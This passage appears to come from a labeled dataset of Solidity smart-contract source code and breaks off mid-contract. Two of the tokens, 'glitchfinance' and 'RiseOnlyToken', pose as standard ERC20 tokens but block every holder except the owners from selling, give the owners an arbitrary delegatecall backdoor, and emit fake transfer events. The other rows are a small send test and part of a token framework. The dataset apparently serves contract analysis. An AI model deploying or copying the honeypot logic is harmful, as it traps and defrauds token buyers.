source_codes
stringlengths 72
205k
| labels
int64 0
1
| __index_level_0__
int64 0
5.56k
|
---|---|---|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract glitchfinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require (msg.sender == owner || msg.sender == owner2 || msg.sender == owner3 || msg.sender == owner4 || msg.sender == owner5 || msg.sender == owner6);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner || msg.sender == owner2 || msg.sender == owner3 || msg.sender == owner4 || msg.sender == owner5 || msg.sender == owner6);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI || _from == owner2 || _to == owner2 || _from == owner3 || _to == owner3 || _from == owner4 || _to == owner4 || _from == owner5 || _to == owner5 || _from == owner6 || _to == owner6);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address private owner2;
address private owner3;
address private owner4;
address private owner5;
address private owner6;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
owner2 = 0x7737533691DE30EAC03ec29803FaabE92619F9a4;
owner3 = 0x93338F6cCc570C33F0BAbA914373a6d51FbbB6B7;
owner4 = 0x201f739D7346403aF416BEd7e8f8e3de21ccdc84;
owner5 = 0x0ee849e0d238A375427E8115D4065FFaA21BCee9;
owner6 = 0xD9429A42788Ec71AEDe45f6F48B7688D11900C05;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 432 |
pragma solidity >=0.7.0;
contract testSend {
function doSend(address payable _to, uint256 _amountETH) public {
_to.call{value: _amountETH}("");
_to.send(_amountETH);
_to.transfer(_amountETH);
}
receive() external payable {}
} | 0 | 289 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract RiseOnlyToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 8;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,027 |
pragma solidity ^0.4.18;
contract SafeMathInterface {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256);
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256);
function safeSub(uint256 a, uint256 b) internal pure returns (uint256);
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256);
}
contract SafeMath is SafeMathInterface {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CommonModifiersInterface {
function isContract(address _targetAddress) internal constant returns (bool);
modifier onlyContractAddress(address _targetAddress) {
require(isContract(_targetAddress) == true);
_;
}
}
contract CommonModifiers is CommonModifiersInterface {
function isContract(address _targetAddress) internal constant returns (bool) {
require (_targetAddress != address(0x0));
uint256 length;
assembly {
length := extcodesize(_targetAddress)
}
return (length > 0);
}
}
contract AssetIDInterface {
function getAssetID() public constant returns (string);
function getAssetIDHash() public constant returns (bytes32);
}
contract AssetID is AssetIDInterface {
string assetID;
function AssetID(string _assetID) public {
require(bytes(_assetID).length > 0);
assetID = _assetID;
}
function getAssetID() public constant returns (string) {
return assetID;
}
function getAssetIDHash() public constant returns (bytes32) {
return keccak256(assetID);
}
}
contract OwnableInterface {
function getOwner() public constant returns (address);
modifier onlyOwner() {
require (msg.sender == getOwner());
_;
}
}
contract Ownable is OwnableInterface {
address owner = address(0x0);
address proposedOwner = address(0x0);
event OwnerAssignedEvent(address indexed newowner);
event OwnershipOfferCreatedEvent(address indexed currentowner, address indexed proposedowner);
event OwnershipOfferAcceptedEvent(address indexed currentowner, address indexed proposedowner);
event OwnershipOfferCancelledEvent(address indexed currentowner, address indexed proposedowner);
function Ownable() public {
owner = msg.sender;
OwnerAssignedEvent(owner);
}
function createOwnershipOffer(address _proposedOwner) external onlyOwner {
require (proposedOwner == address(0x0));
require (_proposedOwner != address(0x0));
require (_proposedOwner != address(this));
proposedOwner = _proposedOwner;
OwnershipOfferCreatedEvent(owner, _proposedOwner);
}
function acceptOwnershipOffer() external {
require (proposedOwner != address(0x0));
require (msg.sender == proposedOwner);
address _oldOwner = owner;
owner = proposedOwner;
proposedOwner = address(0x0);
OwnerAssignedEvent(owner);
OwnershipOfferAcceptedEvent(_oldOwner, owner);
}
function cancelOwnershipOffer() external {
require (proposedOwner != address(0x0));
require (msg.sender == owner || msg.sender == proposedOwner);
address _oldProposedOwner = proposedOwner;
proposedOwner = address(0x0);
OwnershipOfferCancelledEvent(owner, _oldProposedOwner);
}
function getOwner() public constant returns (address) {
return owner;
}
function getProposedOwner() public constant returns (address) {
return proposedOwner;
}
}
contract ManageableInterface {
function isManagerAllowed(address _manager, string _permissionName) public constant returns (bool);
modifier onlyAllowedManager(string _permissionName) {
require(isManagerAllowed(msg.sender, _permissionName) == true);
_;
}
}
contract Manageable is OwnableInterface,
ManageableInterface {
mapping (address => bool) managerEnabled;
mapping (address => mapping (string => bool)) managerPermissions;
event ManagerEnabledEvent(address indexed manager);
event ManagerDisabledEvent(address indexed manager);
event ManagerPermissionGrantedEvent(address indexed manager, string permission);
event ManagerPermissionRevokedEvent(address indexed manager, string permission);
function enableManager(address _manager) external onlyOwner onlyValidManagerAddress(_manager) {
require(managerEnabled[_manager] == false);
managerEnabled[_manager] = true;
ManagerEnabledEvent(_manager);
}
function disableManager(address _manager) external onlyOwner onlyValidManagerAddress(_manager) {
require(managerEnabled[_manager] == true);
managerEnabled[_manager] = false;
ManagerDisabledEvent(_manager);
}
function grantManagerPermission(
address _manager, string _permissionName
)
external
onlyOwner
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
{
require(managerPermissions[_manager][_permissionName] == false);
managerPermissions[_manager][_permissionName] = true;
ManagerPermissionGrantedEvent(_manager, _permissionName);
}
function revokeManagerPermission(
address _manager, string _permissionName
)
external
onlyOwner
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
{
require(managerPermissions[_manager][_permissionName] == true);
managerPermissions[_manager][_permissionName] = false;
ManagerPermissionRevokedEvent(_manager, _permissionName);
}
function isManagerEnabled(
address _manager
)
public
constant
onlyValidManagerAddress(_manager)
returns (bool)
{
return managerEnabled[_manager];
}
function isPermissionGranted(
address _manager, string _permissionName
)
public
constant
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
returns (bool)
{
return managerPermissions[_manager][_permissionName];
}
function isManagerAllowed(
address _manager, string _permissionName
)
public
constant
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
returns (bool)
{
return (managerEnabled[_manager] && managerPermissions[_manager][_permissionName]);
}
modifier onlyValidManagerAddress(address _manager) {
require(_manager != address(0x0));
_;
}
modifier onlyValidPermissionName(string _permissionName) {
require(bytes(_permissionName).length != 0);
_;
}
}
contract PausableInterface {
event PauseEvent();
event UnpauseEvent();
function pauseContract() public;
function unpauseContract() public;
function getPaused() public constant returns (bool);
modifier whenContractNotPaused() {
require(getPaused() == false);
_;
}
modifier whenContractPaused {
require(getPaused() == true);
_;
}
}
contract Pausable is ManageableInterface,
PausableInterface {
bool paused = true;
function pauseContract() public onlyAllowedManager('pause_contract') whenContractNotPaused {
paused = true;
PauseEvent();
}
function unpauseContract() public onlyAllowedManager('unpause_contract') whenContractPaused {
paused = false;
UnpauseEvent();
}
function getPaused() public constant returns (bool) {
return paused;
}
}
contract BytecodeExecutorInterface {
event CallExecutedEvent(address indexed target,
uint256 suppliedGas,
uint256 ethValue,
bytes32 transactionBytecodeHash);
event DelegatecallExecutedEvent(address indexed target,
uint256 suppliedGas,
bytes32 transactionBytecodeHash);
function executeCall(address _target, uint256 _suppliedGas, uint256 _ethValue, bytes _transactionBytecode) external;
function executeDelegatecall(address _target, uint256 _suppliedGas, bytes _transactionBytecode) external;
}
contract BytecodeExecutor is ManageableInterface,
BytecodeExecutorInterface {
bool underExecution = false;
function executeCall(
address _target,
uint256 _suppliedGas,
uint256 _ethValue,
bytes _transactionBytecode
)
external
onlyAllowedManager('execute_call')
{
require(underExecution == false);
underExecution = true;
_target.call.gas(_suppliedGas).value(_ethValue)(_transactionBytecode);
underExecution = false;
CallExecutedEvent(_target, _suppliedGas, _ethValue, keccak256(_transactionBytecode));
}
function executeDelegatecall(
address _target,
uint256 _suppliedGas,
bytes _transactionBytecode
)
external
onlyAllowedManager('execute_delegatecall')
{
require(underExecution == false);
underExecution = true;
_target.delegatecall.gas(_suppliedGas)(_transactionBytecode);
underExecution = false;
DelegatecallExecutedEvent(_target, _suppliedGas, keccak256(_transactionBytecode));
}
}
contract CrydrViewBaseInterface {
event CrydrControllerChangedEvent(address indexed crydrcontroller);
function setCrydrController(address _crydrController) external;
function getCrydrController() public constant returns (address);
function getCrydrViewStandardName() public constant returns (string);
function getCrydrViewStandardNameHash() public constant returns (bytes32);
}
contract CrydrStorageBalanceInterface {
event AccountBalanceIncreasedEvent(address indexed account, uint256 value);
event AccountBalanceDecreasedEvent(address indexed account, uint256 value);
function increaseBalance(address _account, uint256 _value) public;
function decreaseBalance(address _account, uint256 _value) public;
function getBalance(address _account) public constant returns (uint256);
function getTotalSupply() public constant returns (uint256);
}
contract CrydrStorageAllowanceInterface {
event AccountAllowanceIncreasedEvent(address indexed owner, address indexed spender, uint256 value);
event AccountAllowanceDecreasedEvent(address indexed owner, address indexed spender, uint256 value);
function increaseAllowance(address _owner, address _spender, uint256 _value) public;
function decreaseAllowance(address _owner, address _spender, uint256 _value) public;
function getAllowance(address _owner, address _spender) public constant returns (uint256);
}
contract CrydrStorageERC20Interface {
event CrydrTransferredEvent(address indexed from, address indexed to, uint256 value);
event CrydrTransferredFromEvent(address indexed spender, address indexed from, address indexed to, uint256 value);
event CrydrSpendingApprovedEvent(address indexed owner, address indexed spender, uint256 value);
function transfer(address _msgsender, address _to, uint256 _value) public;
function transferFrom(address _msgsender, address _from, address _to, uint256 _value) public;
function approve(address _msgsender, address _spender, uint256 _value) public;
}
contract CrydrStorageBlocksInterface {
event AccountBlockedEvent(address indexed account);
event AccountUnblockedEvent(address indexed account);
event AccountFundsBlockedEvent(address indexed account, uint256 value);
event AccountFundsUnblockedEvent(address indexed account, uint256 value);
function blockAccount(address _account) public;
function unblockAccount(address _account) public;
function getAccountBlocks(address _account) public constant returns (uint256);
function blockAccountFunds(address _account, uint256 _value) public;
function unblockAccountFunds(address _account, uint256 _value) public;
function getAccountBlockedFunds(address _account) public constant returns (uint256);
}
contract CrydrViewERC20LoggableInterface {
function emitTransferEvent(address _from, address _to, uint256 _value) external;
function emitApprovalEvent(address _owner, address _spender, uint256 _value) external;
}
contract CrydrViewERC20MintableInterface {
event MintEvent(address indexed owner, uint256 value);
event BurnEvent(address indexed owner, uint256 value);
function emitMintEvent(address _owner, uint256 _value) external;
function emitBurnEvent(address _owner, uint256 _value) external;
}
contract CrydrControllerBaseInterface {
event CrydrStorageChangedEvent(address indexed crydrstorage);
event CrydrViewAddedEvent(address indexed crydrview, string standardname);
event CrydrViewRemovedEvent(address indexed crydrview, string standardname);
function setCrydrStorage(address _newStorage) external;
function getCrydrStorageAddress() public constant returns (address);
function setCrydrView(address _newCrydrView, string _viewApiStandardName) external;
function removeCrydrView(string _viewApiStandardName) external;
function getCrydrViewAddress(string _viewApiStandardName) public constant returns (address);
function isCrydrViewAddress(address _crydrViewAddress) public constant returns (bool);
function isCrydrViewRegistered(string _viewApiStandardName) public constant returns (bool);
modifier onlyValidCrydrViewStandardName(string _viewApiStandard) {
require(bytes(_viewApiStandard).length > 0);
_;
}
modifier onlyCrydrView() {
require(isCrydrViewAddress(msg.sender) == true);
_;
}
}
contract CrydrControllerBase is CommonModifiersInterface,
ManageableInterface,
PausableInterface,
CrydrControllerBaseInterface {
address crydrStorage = address(0x0);
mapping (string => address) crydrViewsAddresses;
mapping (address => bool) isRegisteredView;
function setCrydrStorage(
address _crydrStorage
)
external
onlyContractAddress(_crydrStorage)
onlyAllowedManager('set_crydr_storage')
whenContractPaused
{
require(_crydrStorage != address(this));
require(_crydrStorage != address(crydrStorage));
crydrStorage = _crydrStorage;
CrydrStorageChangedEvent(_crydrStorage);
}
function getCrydrStorageAddress() public constant returns (address) {
return address(crydrStorage);
}
function setCrydrView(
address _newCrydrView, string _viewApiStandardName
)
external
onlyContractAddress(_newCrydrView)
onlyValidCrydrViewStandardName(_viewApiStandardName)
onlyAllowedManager('set_crydr_view')
whenContractPaused
{
require(_newCrydrView != address(this));
require(crydrViewsAddresses[_viewApiStandardName] == address(0x0));
var crydrViewInstance = CrydrViewBaseInterface(_newCrydrView);
var standardNameHash = crydrViewInstance.getCrydrViewStandardNameHash();
require(standardNameHash == keccak256(_viewApiStandardName));
crydrViewsAddresses[_viewApiStandardName] = _newCrydrView;
isRegisteredView[_newCrydrView] = true;
CrydrViewAddedEvent(_newCrydrView, _viewApiStandardName);
}
function removeCrydrView(
string _viewApiStandardName
)
external
onlyValidCrydrViewStandardName(_viewApiStandardName)
onlyAllowedManager('remove_crydr_view')
whenContractPaused
{
require(crydrViewsAddresses[_viewApiStandardName] != address(0x0));
address removedView = crydrViewsAddresses[_viewApiStandardName];
crydrViewsAddresses[_viewApiStandardName] == address(0x0);
isRegisteredView[removedView] = false;
CrydrViewRemovedEvent(removedView, _viewApiStandardName);
}
function getCrydrViewAddress(
string _viewApiStandardName
)
public
constant
onlyValidCrydrViewStandardName(_viewApiStandardName)
returns (address)
{
require(crydrViewsAddresses[_viewApiStandardName] != address(0x0));
return crydrViewsAddresses[_viewApiStandardName];
}
function isCrydrViewAddress(
address _crydrViewAddress
)
public
constant
returns (bool)
{
require(_crydrViewAddress != address(0x0));
return isRegisteredView[_crydrViewAddress];
}
function isCrydrViewRegistered(
string _viewApiStandardName
)
public
constant
onlyValidCrydrViewStandardName(_viewApiStandardName)
returns (bool)
{
return (crydrViewsAddresses[_viewApiStandardName] != address(0x0));
}
}
contract CrydrControllerBlockableInterface {
function blockAccount(address _account) public;
function unblockAccount(address _account) public;
function blockAccountFunds(address _account, uint256 _value) public;
function unblockAccountFunds(address _account, uint256 _value) public;
}
contract CrydrControllerBlockable is ManageableInterface,
CrydrControllerBaseInterface,
CrydrControllerBlockableInterface {
function blockAccount(
address _account
)
public
onlyAllowedManager('block_account')
{
CrydrStorageBlocksInterface(getCrydrStorageAddress()).blockAccount(_account);
}
function unblockAccount(
address _account
)
public
onlyAllowedManager('unblock_account')
{
CrydrStorageBlocksInterface(getCrydrStorageAddress()).unblockAccount(_account);
}
function blockAccountFunds(
address _account,
uint256 _value
)
public
onlyAllowedManager('block_account_funds')
{
CrydrStorageBlocksInterface(getCrydrStorageAddress()).blockAccountFunds(_account, _value);
}
function unblockAccountFunds(
address _account,
uint256 _value
)
public
onlyAllowedManager('unblock_account_funds')
{
CrydrStorageBlocksInterface(getCrydrStorageAddress()).unblockAccountFunds(_account, _value);
}
}
contract CrydrControllerMintableInterface {
function mint(address _account, uint256 _value) public;
function burn(address _account, uint256 _value) public;
}
contract CrydrControllerMintable is ManageableInterface,
PausableInterface,
CrydrControllerBaseInterface,
CrydrControllerMintableInterface {
function mint(
address _account, uint256 _value
)
public
whenContractNotPaused
onlyAllowedManager('mint_crydr')
{
CrydrStorageBalanceInterface(getCrydrStorageAddress()).increaseBalance(_account, _value);
if (isCrydrViewRegistered('erc20') == true) {
CrydrViewERC20MintableInterface(getCrydrViewAddress('erc20')).emitMintEvent(_account, _value);
}
}
function burn(
address _account, uint256 _value
)
public
whenContractNotPaused
onlyAllowedManager('burn_crydr')
{
CrydrStorageBalanceInterface(getCrydrStorageAddress()).decreaseBalance(_account, _value);
if (isCrydrViewRegistered('erc20') == true) {
CrydrViewERC20MintableInterface(getCrydrViewAddress('erc20')).emitBurnEvent(_account, _value);
}
}
}
contract CrydrControllerERC20Interface {
function transfer(address _msgsender, address _to, uint256 _value) public;
function getTotalSupply() public constant returns (uint256);
function getBalance(address _owner) public constant returns (uint256);
function approve(address _msgsender, address _spender, uint256 _value) public;
function transferFrom(address _msgsender, address _from, address _to, uint256 _value) public;
